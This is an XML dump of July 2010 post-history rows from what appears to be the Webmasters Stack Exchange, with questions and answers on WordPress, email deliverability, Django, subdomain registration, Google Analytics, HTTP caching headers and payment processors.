  <row Id="2711" PostHistoryTypeId="5" PostId="1494" RevisionGUID="a8d77d2d-97ca-4d2e-8e06-38510bce29bf" CreationDate="2010-07-22T20:06:25.713" UserDisplayName="Mayel" Comment="added 265 characters in body" Text="You really can build on WordPress to do whatever you want. &#xD;&#xA;&#xD;&#xA;And unlike many other open-source tools, you hardly every need to hack the core, so you don't have to worry when it comes to updating.&#xD;&#xA;&#xD;&#xA;You simply use plugins (and create your own, using its great *hooks &amp; filters* architecture).&#xD;&#xA;&#xD;&#xA;And it even works as a MVC framework, by combining the new *custom post types* with *custom fields* (and the [add_meta_box][1] function, to customize the editing screens). It's great for rapid development, as you get a built-in powerful yet user-friendly back-office. &#xD;&#xA;I'm actually thinking of creating a plugin that would allow you to simply define a data model (tables/fields/relationships/data types), and everything is handled automatically (customizable display, back-office and/or front-end input forms, input validation...) &#xD;&#xA;&#xD;&#xA;Just some examples of what I've used WordPress for :&#xD;&#xA;&#xD;&#xA; - countless custom corporate-type (non-blog) websites&#xD;&#xA; - user profiles/accounts&#xD;&#xA; - blog/podcast/video hosting platform (before WPMU existed)&#xD;&#xA; - blog/podcast/video aggregator and directory&#xD;&#xA; - mass-mailing tool&#xD;&#xA; - e-commerce&#xD;&#xA; - hotel/resort availability and booking system&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Function_Reference/add_meta_box" />
  <row Id="2712" PostHistoryTypeId="5" PostId="1374" RevisionGUID="d0b29dd7-d862-47b3-87e1-8abd3decb138" CreationDate="2010-07-22T20:32:05.997" UserId="55" Comment="added 18 characters in body" Text="I remember reading the terms of service when I signed up for Flickr, and they had what I thought was a very clever sentence near the end:&#xD;&#xA;&#xD;&#xA;&gt; _Don't be that guy ... You know .._ ***that guy***.&#xD;&#xA;&#xD;&#xA;This told me that Flickr holds people accountable for their behavior and doesn't tolerate harassment. Note, harassment is subjective. One person may take what you say in stride or even 'tweet it, someone else may feel egregiously offended. &quot;Hate speech&quot; is really dependent on who is talking and who is listening.&#xD;&#xA;&#xD;&#xA;Make it quite clear that users are expected to conduct themselves civilly, and that reports of abuse from other members are taken quite seriously. Make sure moderators or site administrators are active enough to see and stop arguments that just digress into nothing but name calling, threats, or worse.&#xD;&#xA;&#xD;&#xA;Flickr's approach is novel in that it doesn't spell out a list of things that you aren't allowed to do, because surely nobody could make such a list without forgetting something.&#xD;&#xA;&#xD;&#xA;That fits a political mud slinging site just as well as it fits community bible study.&#xD;&#xA;&#xD;&#xA;Or, take the Stack Exchange creed:&#xD;&#xA;&#xD;&#xA;&gt; _Don't be a jerk_&#xD;&#xA;&#xD;&#xA;Either one explains itself quite well." />
  <row Id="2713" PostHistoryTypeId="2" PostId="1495" RevisionGUID="f07bf62e-1b3a-4e96-a206-bb5f55afcd51" CreationDate="2010-07-22T20:37:58.180" UserId="9329" Text="By Chromium do you mean the Google Chrome Browser?&#xD;&#xA;&#xD;&#xA;There are plenty of extensions to Chrome that can show the PageRank, just search for &quot;SEO&quot; in the extension library.&#xD;&#xA;&#xD;&#xA;But then again, I agree with everyone that says that PageRank is not that interesting. However most of those add-ons show you more than that, so they could be interesting.&#xD;&#xA;&#xD;&#xA;https://chrome.google.com/extensions/detail/oangcciaeihlfmhppegpdceadpfaoclj?hl=en" />
  <row Id="2714" PostHistoryTypeId="2" PostId="1496" RevisionGUID="34493b59-5e9d-4707-b5d7-607b0746ac4d" CreationDate="2010-07-22T20:49:40.400" UserId="974" Text="I've been in the email delivery software industry for years, and I can tell you that there is is no magic bullet for email deliverability.&#xD;&#xA;&#xD;&#xA;First, you have to send email that people want to receive. This means email that people click, open, and use the email and that you get a low number of spam complaints. Confirmed opt-in is a great policy, and will gain you favor with ISPs, but you still need look at your email program from a subscriber's perspective. Are you sending what they signed up for? Did you tell them the frequency when they signed up? Are your messages well enough branded to be recognizable? Your complaint and user-engagement rates are large drivers of deliverability, so this is huge.&#xD;&#xA;&#xD;&#xA;Second, you have to tweak. You don't know exactly what the rules are because the ISPs can't tell us. You start with changing things and see what solves the problem. You look for common problems. It helps to have done it before, so you can recognize patterns. Good old fashioned debugging.&#xD;&#xA;&#xD;&#xA;Here's a list of things to try with Hotmail, based on my experience:&#xD;&#xA;&#xD;&#xA; * Sign up for Hotmail's JMRP (Junk Mail Reporting Program). They will send you a notification every time someone clicks on a &quot;this is spam&quot; button. Remove these addresses from your mailing list. This will lower your complaint rates over time.&#xD;&#xA;&#xD;&#xA; * Sign up for Hotmail's SNDS (Smart Network Data Services). This will provide a web-based login where you can get information on what they are doing with your email. You can also see if you have spamtrap hits and how many complaints you get.&#xD;&#xA;&#xD;&#xA; * Make sure your bounce processing is working. If you're sending to addresses you should have removed from the list but didn't, hotmail will count these against you.&#xD;&#xA;&#xD;&#xA; * Check to make sure that the HTML on your email is valid.&#xD;&#xA;&#xD;&#xA; * Check to make sure that your email has valid character sets. If you're sending Windows-1252 codepage characters and calling them ISO-8859-1 (latin 1) this can cause a problem with Hotmail.&#xD;&#xA;&#xD;&#xA; * Check your SMTP server transaction logs to see if Hotmail is giving you any specific guidance, such as error messages saying you have a low reputation.&#xD;&#xA;&#xD;&#xA; * Make sure you are not spreading your mail over too many IP addresses. You talked about keeping the volume &quot;low&quot;. If you do this by spreading mail over multiple IPs, that can count against you, as this is a tactic called &quot;snowshoeing&quot; that is used by spammers.&#xD;&#xA;&#xD;&#xA; * Send at least 20k messages/day/IP to start with, so that you'll send enough mail to build a good reputation at Hotmail. If you don't send enough mail on an IP address, sometimes you don't give them enough data to build a reputation on you.&#xD;&#xA;&#xD;&#xA; * Realize that Hotmail's standard policy is to spam filter mail from a new IP address by not delivering it to either the Inbox or the Junk folder. This really is a pain because your mail completely disappears. They do this even to good senders. Then once you build a reputation, they will start putting the mail into the Inbox or Junk folders. There is a way that sometimes works to contact their tech support and have them reset this policy for you. (Contact me at dharris@drh.net if you're interested in help.)&#xD;&#xA;&#xD;&#xA; * Try sending your message from a different well-established IP address and see if it gets filtered. Try sending other messages from this IP address and see if they are filtered. This can help to identify if the problem is IP-based or message-based.&#xD;&#xA;&#xD;&#xA; * Contact Hotmail. Don't ask them to un-block you off the bat, but ask why you're being blocked and what you can do to help fix things. With Hotmail you need to be persistent, replying to the same ticket multiple times if needed until you get to someone that can help you.&#xD;&#xA;&#xD;&#xA;Ultimately you may want to hire a company that specializes in infrastructure for delivering email. Check out my company, [www.drh.net][1]. We provide email delivery software, consulting, and monitoring. We would be happy to help you. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.drh.net/" />
  <row Id="2715" PostHistoryTypeId="5" PostId="1342" RevisionGUID="513527c3-c963-4877-bb15-87775b5b408f" CreationDate="2010-07-22T20:55:28.887" UserDisplayName="ralphy" Comment="added 50 characters in body" Text="Looking at the list of sites created using django, it seems there are no major web sites that are written using the framework. &#xD;&#xA;&#xD;&#xA;Why is this? Is django not suited to scalable web sites, or is it in fact that Python loses out to PHP because more developers know it or there are more OSS components available while enterprise favours .NET or Java?&#xD;&#xA;&#xD;&#xA;How suitable is Python compared to PHP for instance? I saw some benchmarks recently that put Python way faster than PHP.&#xD;&#xA;&#xD;&#xA;I'm looking for answers a little more in-depth than &quot;anything can be made to work/use what you know&quot; etc please.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;-- edit --&#xD;&#xA;&#xD;&#xA;Thanks for the answers everyone." />
  <row Id="2716" PostHistoryTypeId="2" PostId="1497" RevisionGUID="9b965813-1eae-4165-9e0b-bf0e704ecdbb" CreationDate="2010-07-22T21:00:48.593" UserId="834" Text="Is it possible to register a sub-domain if you don't own the base domain?&#xD;&#xA;&#xD;&#xA;For example, could I register NickLarsen.random.com if I don't own random.com?" />
  <row Id="2717" PostHistoryTypeId="1" PostId="1497" RevisionGUID="9b965813-1eae-4165-9e0b-bf0e704ecdbb" CreationDate="2010-07-22T21:00:48.593" UserId="834" Text="DNS sub-domain registration" />
  <row Id="2718" PostHistoryTypeId="3" PostId="1497" RevisionGUID="9b965813-1eae-4165-9e0b-bf0e704ecdbb" CreationDate="2010-07-22T21:00:48.593" UserId="834" Text="&lt;domains&gt;&lt;subdomain&gt;" />
  <row Id="2719" PostHistoryTypeId="2" PostId="1498" RevisionGUID="4b88cdf7-4f5e-47de-ac72-0c0b47beb1cf" CreationDate="2010-07-22T21:02:23.130" UserId="87" Text="No.  This is not possible unless the owner of the domain allows it.&#xD;&#xA;&#xD;&#xA;[As per Wikipedia:][1]&#xD;&#xA;&#xD;&#xA;&gt; The Domain Name System distributes the&#xD;&#xA;&gt; responsibility of assigning domain&#xD;&#xA;&gt; names and mapping those names to IP&#xD;&#xA;&gt; addresses by designating authoritative&#xD;&#xA;&gt; name servers  for each domain.&#xD;&#xA;&gt; Authoritative name servers are&#xD;&#xA;&gt; assigned to be responsible for their&#xD;&#xA;&gt; particular domains, and in turn can&#xD;&#xA;&gt; assign other authoritative name&#xD;&#xA;&gt; servers for their sub-domains.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_Name_System" />
  <row Id="2720" PostHistoryTypeId="5" PostId="1414" RevisionGUID="26e9c43c-0d86-4098-8db9-dcb4c0c34343" CreationDate="2010-07-22T21:12:56.370" UserId="745" Comment="added 146 characters in body" Text="PageRank is a fairly useless metric to chase and I wouldn't bother with it. With that caveat, if you know PHP and have a host that supports it, check out this tutorial:&#xD;&#xA;http://bohuco.net/blog/2010/07/google-ranking-checker-class-in-php/&#xD;&#xA;&#xD;&#xA;Also, just for clarification, websites don't have PageRank, individual pages do.&#xD;&#xA;&#xD;&#xA;**Edit**: Here is a [PageRank checker for Chrome][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://chrome.google.com/extensions/detail/gcbkdfielojbemjihiefhbfdcpgdfdfn" />
  <row Id="2721" PostHistoryTypeId="2" PostId="1499" RevisionGUID="d74d3c1d-5340-40a7-9d4d-3c1b3fff5d5f" CreationDate="2010-07-22T22:44:33.343" UserId="427" Text="Well, you could, technically speaking (configuring a DNS server for yourself, adding a zone file for the domain in question and creating an A or CNAME record for the subdomain in question), but it would work only for the people that use your DNS server to resolve domain names, so it really wouldn't work for that many people. And that's a good thing, because otherwise the Internet as we know it just wouldn't be, and there would be no real trust that you're actually on your bank's website or on a phisher's website." />
  <row Id="2722" PostHistoryTypeId="2" PostId="1500" RevisionGUID="9d0cd5ec-14d1-4d72-8b12-2bed93235431" CreationDate="2010-07-22T22:58:44.930" UserId="149" Text="Any site that has user contributed content will have content that falls into that gray area. I prefer to let the users help me with those posts. I do have a line where i'll outright delete a comment (usually if it's illegal, or could be somehow construed as being legally questionable), but if it's just a matter of &quot;indecent, but not illegal&quot;.. then I encourage users to shame the person, or report their post if they have a problem with it. When reported posts hit a certain number of &quot;reports&quot;, the posts is put into question (grayed out), and a moderator can make the final decision.&#xD;&#xA;&#xD;&#xA;Usually just the shaming of the other users is enough to make a person either stop being &quot;that guy&quot;, or leave." />
  <row Id="2723" PostHistoryTypeId="2" PostId="1501" RevisionGUID="9e1cfa08-d713-449f-88da-a277e3db886a" CreationDate="2010-07-22T23:01:24.130" UserId="149" Text="I use the [PageRank][1] Extension, but there's heaps more under &quot;[PageRank][2]&quot; in the extensions library.&#xD;&#xA;&#xD;&#xA;As others have said though, it's not a very valid way of judging a site, though I do still have it there out of curiosity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://chrome.google.com/extensions/detail/pneoplpmnpjoioldpodoljacigkahohc?hl=en&#xD;&#xA;  [2]: https://chrome.google.com/extensions/search?itemlang=&amp;hl=en&amp;q=pagerank" />
  <row Id="2724" PostHistoryTypeId="2" PostId="1502" RevisionGUID="7cae3f7b-215b-418b-8d45-90018c3c4970" CreationDate="2010-07-22T23:12:55.843" UserId="179" Text="Keep in mind that you can't make everybody happy. If you have a Jewish reader and a reader who posts that the holocaust never happened, you're going to make at least one of them angry regardless of the course of action you choose.&#xD;&#xA;&#xD;&#xA;Get used to the idea that &lt;em&gt;somebody&lt;/em&gt; will always hate you, and that to &lt;em&gt;somebody&lt;/em&gt; you'll always be wrong no matter what you choose.&#xD;&#xA;&#xD;&#xA;With those points made, I suggest a simple test: If &lt;strong&gt;you&lt;/strong&gt; had written this, would it create the image for your site that you want?" />
  <row Id="2725" PostHistoryTypeId="2" PostId="1503" RevisionGUID="4650b40f-df20-4508-89c7-eda6ac9dab55" CreationDate="2010-07-23T00:36:29.883" UserId="18" Text="[Yes.][1] There are some pretty large sites written with Django. You can see a list of sites using django [here][2], some get significant traffic.&#xD;&#xA;&#xD;&#xA;It can be done if you design and configure Django correctly. In particular caching must be set up properly. Django has recently come out with several improvments designed to improve scalability in particular the ability to easily use multiple databases, you can read about the [scalability improvemnts in Django 1.2 here][3]. &#xD;&#xA;&#xD;&#xA;Django is a lot younger than PHP (1995 vs 2005). A lot of the improvments made in Django scalability are very recent, I think we'll see larger Django sites as time goes on and the project matures.&#xD;&#xA;&#xD;&#xA;[This topic is discussed in great detail with lots of good links on StackOverflow.][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.djangoproject.com/en/dev/faq/general/#does-django-scale&#xD;&#xA;  [2]: http://www.djangosites.org/&#xD;&#xA;  [3]: http://djangoadvent.com/1.2/scaling-django/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/886221/does-django-scale" />
  <row Id="2726" PostHistoryTypeId="2" PostId="1504" RevisionGUID="1aee0bb1-9925-4524-a615-a7ba91682264" CreationDate="2010-07-23T00:42:52.243" UserId="353" Text="I found this [&quot;blank&quot; theme][1], but I was wondering if there are any other similar themes that provide a bare-bones (or otherwise easy to modify) template that provides the HTML/CSS that validates (preferably as XHTML1.1 or HTML5 and CSS2 or CSS3) for developing a custom build WordPress theme. I've never developed a WordPress theme before, but it seems like it would be easier to start with...well, nothing, and work my way up from there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://digwp.com/2010/02/blank-wordpress-theme/" />
  <row Id="2727" PostHistoryTypeId="1" PostId="1504" RevisionGUID="1aee0bb1-9925-4524-a615-a7ba91682264" CreationDate="2010-07-23T00:42:52.243" UserId="353" Text="Are there any WordPress themes optimized as a &quot;starting point&quot; for custom theme development?" />
  <row Id="2728" PostHistoryTypeId="3" PostId="1504" RevisionGUID="1aee0bb1-9925-4524-a615-a7ba91682264" CreationDate="2010-07-23T00:42:52.243" UserId="353" Text="&lt;wordpress&gt;&lt;theme&gt;" />
  <row Id="2729" PostHistoryTypeId="5" PostId="1504" RevisionGUID="36827a70-e300-4f28-a785-80104d1d111d" CreationDate="2010-07-23T01:01:47.117" UserId="353" Comment="added 147 characters in body" Text="I found this [&quot;blank&quot; theme][1], but I was wondering if there are any other themes that provide a template for custom theme development.&#xD;&#xA;&#xD;&#xA;I'm looking for something that, out of the box, provides a very simple theme with validating HTML (XHTML1.1, HTML 4.1 Strict, or HTML5) and CSS (CSS2 or CSS3). Then, I want to build on this theme to make a custom WordPress theme for my personal site/blog.&#xD;&#xA;&#xD;&#xA;I've never developed a WordPress theme, but armed with the documentation and a basic knowledge of HTML and CSS and a bit of PHP experience, I should be able to make something that's my own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://digwp.com/2010/02/blank-wordpress-theme/" />
  <row Id="2731" PostHistoryTypeId="2" PostId="1505" RevisionGUID="02f15941-b733-417d-8951-12b9d7c1ceae" CreationDate="2010-07-23T02:10:19.067" UserId="427" Text="This should be just what you're looking for: http://nathanstaines.com/archive/starkers-html5-v3" />
  <row Id="2732" PostHistoryTypeId="2" PostId="1506" RevisionGUID="661af555-6c96-4942-b3d2-43225ae6c076" CreationDate="2010-07-23T02:40:13.143" UserId="745" Text="A better strategy might be to enter your web page URL into Google's [Keyword Tool][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="2733" PostHistoryTypeId="16" PostId="1506" RevisionGUID="661af555-6c96-4942-b3d2-43225ae6c076" CreationDate="2010-07-23T02:40:13.143" UserId="-1" />
  <row Id="2734" PostHistoryTypeId="2" PostId="1507" RevisionGUID="924e1edf-4538-4a61-a95d-af73da03c97e" CreationDate="2010-07-23T03:53:32.403" UserId="982" Text="Actually, I'm not convinced that the other answer is correct - &quot;Advanced Segments&quot; is a short name for &quot;Visits with the following properties...', and the segment described in the other answer will find all visits which contained the specified page, and does not confine reports to that single page.&#xD;&#xA;&#xD;&#xA;To see the history of that page with respect to a specific browser (in this case Internet Explorer), set up an Advanced Segment for IE-only traffic (in the Systems group of dimensions, drag the Browser dimension to the box, keep Matches Exactly and select Internet Explorer from the Value dropdown). Then Name &amp; save the segment.&#xD;&#xA;&#xD;&#xA;Then navigate to Content/Content Drilldown, locate &amp; click on the page in question (or arrange the filters such that it's the only page in the table, I like the tabular view) - I usually use the search box. Then apply the IE-only customer segment via the dropbox at the upper right. This now shows the IE traffic alongside the total traffic, and you can manipulate the graph to see how various metrics have changed over time.&#xD;&#xA;&#xD;&#xA;There's also a (limited) no-segment method. With all advanced segments disabled, set the Secondary Dimension dropdown (it's at the top of the table, to the right of 'Page') to Browser, then employ filters so that only the desired URL is displayed. This gives the information in tabular form, but you cannot see how the performance of a single browser varies over time.&#xD;&#xA;" />
  <row Id="2735" PostHistoryTypeId="5" PostId="1506" RevisionGUID="54f58dc0-b5c2-4ce4-b7a3-8c697a23e95b" CreationDate="2010-07-23T03:57:38.907" UserId="745" Comment="added 286 characters in body" Text="A better strategy might be to enter your web page URL into Google's [Keyword Tool][1]. It will generate keyword data based on your page's content. The keywords are meant to be used for AdWords, but it'll give you a good idea of what Google thinks your page is about. As a bonus, you can also use it to target the most used keyword phrases when you're creating new content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="2736" PostHistoryTypeId="2" PostId="1508" RevisionGUID="ba9d3306-81ae-4e47-8979-4c35b0190912" CreationDate="2010-07-23T04:08:46.667" UserId="982" Text="It's both common and legitimate to use more than one analytics package, but as previously mentioned, reconciling the (supposedly) same reports is a lot of work, so it's best to either choose complimentary analytics packages, or at the very least work out the differences between the packages, then choose the combination of reports you like best from the packages and don't look at the other reports.&#xD;&#xA;&#xD;&#xA;Using complimentary packages is often a good idea - choose a general marketing-information package such as Google Analytics or Coremetrics, and then supplement this with packages for particular purposes. For example, you might need use a heatmap/form analytics product such as ClickTale or CrazyEgg, or specialized tracking for affiliates or advertising, or some form of realtime/lead tracking system - I'm not totally sold on these unless you're both prepared to look at and act on these all the time.   &#xD;&#xA;&#xD;&#xA;You can also run operations-level packages, to determine server load, bandwidth used, robot traffic, etc - these serve different purposes to the JS-based marketing-info packages such as GA or Coremetrics or Omniture so I think that they should be considered separately." />
  <row Id="2737" PostHistoryTypeId="2" PostId="1509" RevisionGUID="9640b6be-08ac-4c52-a077-613045023e3b" CreationDate="2010-07-23T04:18:11.793" UserId="138" Text="The general you should believe is [Oren's][1] - however there is **one** exception to this rule.&#xD;&#xA;&#xD;&#xA;If a domain is using [http://freedns.afraid.org/][2] as their DNS provider and they've been lazy and not read the fine print, then anyone can create an A record as a subdomain to any domain listed on their site.&#xD;&#xA;&#xD;&#xA;If you take a stroll around their site you can [find a list of all the domains][3] they have avaliable that you can create your own subdomain of.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #1498&#xD;&#xA;  [2]: http://freedns.afraid.org/&#xD;&#xA;  [3]: http://freedns.afraid.org/domain/registry/" />
  <row Id="2738" PostHistoryTypeId="2" PostId="1510" RevisionGUID="ed03e764-17ba-456b-b210-6d4a72e4479f" CreationDate="2010-07-23T04:32:15.057" UserId="982" Text="If you're considering adding off-site payment methods, consider how you are going to integrate these with your web analytics package - at the very least you are going to need to be able to tie the payment back to the originating session, so that you can incoming links (especially paid links) to revenue.  &#xD;&#xA;&#xD;&#xA;If the off-site payment process has more than a single page, have each step of the process tracked within your analytics package if at all possible. It's really helpful to be able to track how far along the payment process your users are reaching before bailing, to work out if there are UX problems preventing your users from giving you money. " />
  <row Id="2739" PostHistoryTypeId="2" PostId="1511" RevisionGUID="f5382b7f-d033-4503-90cd-2d7a5a4aef42" CreationDate="2010-07-23T04:44:17.367" UserId="982" Text="This mighty list has a selection of A/B &amp; MVT tools:&#xD;&#xA;&#xD;&#xA;http://www.whichmvt.com/&#xD;&#xA;&#xD;&#xA;No relationship with either the list compilers or any of the listed vendors (we have out own in-house MVT tool)." />
  <row Id="2740" PostHistoryTypeId="5" PostId="625" RevisionGUID="c7c4b8dd-17a3-4664-aae4-a56286c1e9cc" CreationDate="2010-07-23T04:53:02.257" UserId="180" Comment="Doh." Text="**Edit**: it's quite possible that I got this the wrong way around and you have to do Browser first, then drill down to the Page.  See [Jamie's answer][1].&#xD;&#xA;&#xD;&#xA;Yes, you need to create an advanced segment for the specific page you want information on.&#xD;&#xA;&#xD;&#xA;- On the left side of your Analytics report, click on &quot;Advanced Segments&quot;&#xD;&#xA;- Click on &quot;Create new custom segment&quot;&#xD;&#xA;- Expand the &quot;Content&quot; section on the left and drag the &quot;Page&quot; dimension into the dashed box&#xD;&#xA;- Choose &quot;Matches exactly&quot; as the condition then type the /path/to/your/page.html (it should auto-complete)&#xD;&#xA;- Enter a name, and click &quot;Create Segment&quot;&#xD;&#xA;&#xD;&#xA;Now, when you're on the Visitors-&gt;Browser Capabilities-&gt;Browsers report and drill down into Internet Explorer, you can then click on the &quot;Advanced Segments&quot; drop down in the upper right, and select the segment that you just created.&#xD;&#xA;&#xD;&#xA;Note that this doesn't always do a 100% job of filtering the data properly, and for some metrics it uses data samples rather than complete data.  Despite these limitations, it can offer some great insight.&#xD;&#xA;&#xD;&#xA;For a more visual approach, check out the [video on this topic][2] by GoogleBusiness.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/622/is-there-a-way-to-get-browser-info-on-one-specific-page-with-google-analytics/1507#1507&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=wu8YzF0AM14" />
  <row Id="2741" PostHistoryTypeId="16" PostId="1459" RevisionGUID="c165e310-dd2d-4f17-baad-7613dd5a1c43" CreationDate="2010-07-23T08:29:24.333" UserId="480" Comment="added 997 characters in body; added 248 characters in body" />
  <row Id="2742" PostHistoryTypeId="5" PostId="1459" RevisionGUID="c165e310-dd2d-4f17-baad-7613dd5a1c43" CreationDate="2010-07-23T08:29:24.333" UserId="480" Comment="added 997 characters in body; added 248 characters in body" Text="**Confession**: sites I maintain have different rules for Cache Control mostly based on the default configuration of the server followed up with recommendations from the [Page Speed][1] &amp; [Y-Slow][2] Firefox plug-ins and the Network Resources view in Google's [Speed Tracer][3]. Cache-Control is set to private/public depending on what they say to do, ETag's/Last-Modified headers are only tinkered with if Y-Slow suggests there is something wrong and Vary-Accept-Encoding seems necessary when manually gziping files for Amazon CloudFront.&#xD;&#xA;&#xD;&#xA;When reading through the material on the different options and what they do there seems to be conflicting information, rules for broken proxies and [cargo cult][4] configurations. Any of the official information provided by the analysis tools mentioned above is quite inaccessible as it deals with each topic individually instead of as a unified strategy (so there is no cross-referencing of techniques).&#xD;&#xA;&#xD;&#xA;For example, it seems to make no sense that the speed analysis tools rate a site with ETag's the same as a site without them if they are meant to help with caching.&#xD;&#xA;&#xD;&#xA;**What are the hard and fast rules for a platform agnostic Cache Control strategy?**&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;A [link][5] through [Jeff Atwood's article][6] explains Caching in superb depth.&#xD;&#xA;&#xD;&#xA;For the record though here are the hard and fast rules:&#xD;&#xA;&#xD;&#xA;**If the file is Compressed using GZIP, etc** - use &quot;cache-control: private&quot; as a proxy may return the compressed version to a client that does not support it (the browser cache will hold files marked this way though). Also remember to include a &quot;Vary: Accept-Encoding&quot; to say that it is compressible.&#xD;&#xA;&#xD;&#xA;**Use Last-Modified in conjunction with ETag** - belt and braces usage provides both validators, whilst ETag is based on file contents instead of modification time alone, using both covers all bases. *If you are using Apache on more than one server to host the same content then remove the inode directive from ETags by excluding it from the FileETag directive (i.e. &quot;FileETag MTime Size&quot;) unless you are genuinely using the same live filesystem*&#xD;&#xA;&#xD;&#xA;**Use &quot;cache-control: public&quot; wherever you can** - this means that proxy servers (and the browser cache) will return your content even if the rest of the page needs HTTP authentication, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [3]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult&#xD;&#xA;  [5]: http://www.mnot.net/cache_docs/&#xD;&#xA;  [6]: http://www.codinghorror.com/blog/2007/08/yslow-yahoos-problems-are-not-your-problems.html" />
  <row Id="2743" PostHistoryTypeId="16" PostId="1256" RevisionGUID="4ae33099-9f0b-4947-8f15-4c3f3ec99a88" CreationDate="2010-07-23T08:32:53.590" UserId="480" />
  <row Id="2744" PostHistoryTypeId="5" PostId="1459" RevisionGUID="e0091e2e-13af-49dc-876c-e416b006c4ef" CreationDate="2010-07-23T08:34:57.970" UserId="480" Comment="added 10 characters in body" Text="**Confession**: sites I maintain have different rules for Cache Control mostly based on the default configuration of the server followed up with recommendations from the [Page Speed][1] &amp; [Y-Slow][2] Firefox plug-ins and the Network Resources view in Google's [Speed Tracer][3]. Cache-Control is set to private/public depending on what they say to do, ETag's/Last-Modified headers are only tinkered with if Y-Slow suggests there is something wrong and Vary-Accept-Encoding seems necessary when manually gziping files for Amazon CloudFront.&#xD;&#xA;&#xD;&#xA;When reading through the material on the different options and what they do there seems to be conflicting information, rules for broken proxies and [cargo cult][4] configurations. Any of the official information provided by the analysis tools mentioned above is quite inaccessible as it deals with each topic individually instead of as a unified strategy (so there is no cross-referencing of techniques).&#xD;&#xA;&#xD;&#xA;For example, it seems to make no sense that the speed analysis tools rate a site with ETag's the same as a site without them if they are meant to help with caching.&#xD;&#xA;&#xD;&#xA;**What are the hard and fast rules for a platform agnostic Cache Control strategy?**&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;A [link][5] through [Jeff Atwood's article][6] explains Caching in superb depth.&#xD;&#xA;&#xD;&#xA;For the record though here are the hard and fast rules:&#xD;&#xA;&#xD;&#xA;**If the file is Compressed using GZIP, etc** - use &quot;cache-control: private&quot; as a proxy may return the compressed version to a client that does not support it (the browser cache will hold files marked this way though). Also remember to include a &quot;Vary: Accept-Encoding&quot; to say that it is compressible.&#xD;&#xA;&#xD;&#xA;**Use Last-Modified in conjunction with ETag** - belt and braces usage provides both validators, whilst ETag is based on file contents instead of modification time alone, using both covers all bases. *If you are using Apache on more than one server to host the same content then remove the implicitly declared inode from ETags by excluding it from the FileETag directive (i.e. &quot;FileETag MTime Size&quot;) unless you are genuinely using the same live filesystem*&#xD;&#xA;&#xD;&#xA;**Use &quot;cache-control: public&quot; wherever you can** - this means that proxy servers (and the browser cache) will return your content even if the rest of the page needs HTTP authentication, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [3]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult&#xD;&#xA;  [5]: http://www.mnot.net/cache_docs/&#xD;&#xA;  [6]: http://www.codinghorror.com/blog/2007/08/yslow-yahoos-problems-are-not-your-problems.html" />
  <row Id="2745" PostHistoryTypeId="2" PostId="1512" RevisionGUID="5535c0bd-f3ec-48f1-b6ad-9c53baca9b67" CreationDate="2010-07-23T09:40:52.687" UserId="353" Text="Going through the link that intlect provided along with the comment by Tim Post that there are other forks of Starkers, I found references to [Thematic][1]. It appears to have some styling, but it also appears to provide valid XHTML and CSS (not validated by me since I haven't installed it yet, though). There are also [existing themes built using it as a framework][2] so you can see what other people have managed to do from this starting point.&#xD;&#xA;&#xD;&#xA;It also appears that WordPress supports the notion of [child themes][3]. This allows any existing theme to be used as a framework, however it might not be appropriate for every theme out there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://themeshaper.com/thematic/&#xD;&#xA;  [2]: http://themeshaper.com/category/thematic-child-themes/&#xD;&#xA;  [3]: http://themeshaper.com/wordpress-theme-blank-framework/" />
  <row Id="2746" PostHistoryTypeId="2" PostId="1513" RevisionGUID="9b117685-b491-494c-ba5a-443b80043011" CreationDate="2010-07-23T10:24:03.223" UserId="407" Text="I have an e-commerce site which has PayPal integrated as our payment processor as the site is fairly new and doesn't yet receive many orders.&#xD;&#xA;&#xD;&#xA;I'm wondering how the general public see the PayPal brand, and whether they're more or less confident about buying with PayPal, as opposed to entering credit card details directly into the site or handling the transaction via another external provided (e.g. WorldPay), or any other potential ways of allowing users to pay.&#xD;&#xA;&#xD;&#xA;Aggregate data would be useful - has anyone seen significantly more orders or fewer abandoned shopping carts when switching away from PayPal? How about to other processors like Google Checkout or Amazon Payments? What are other people's experiences with this?" />
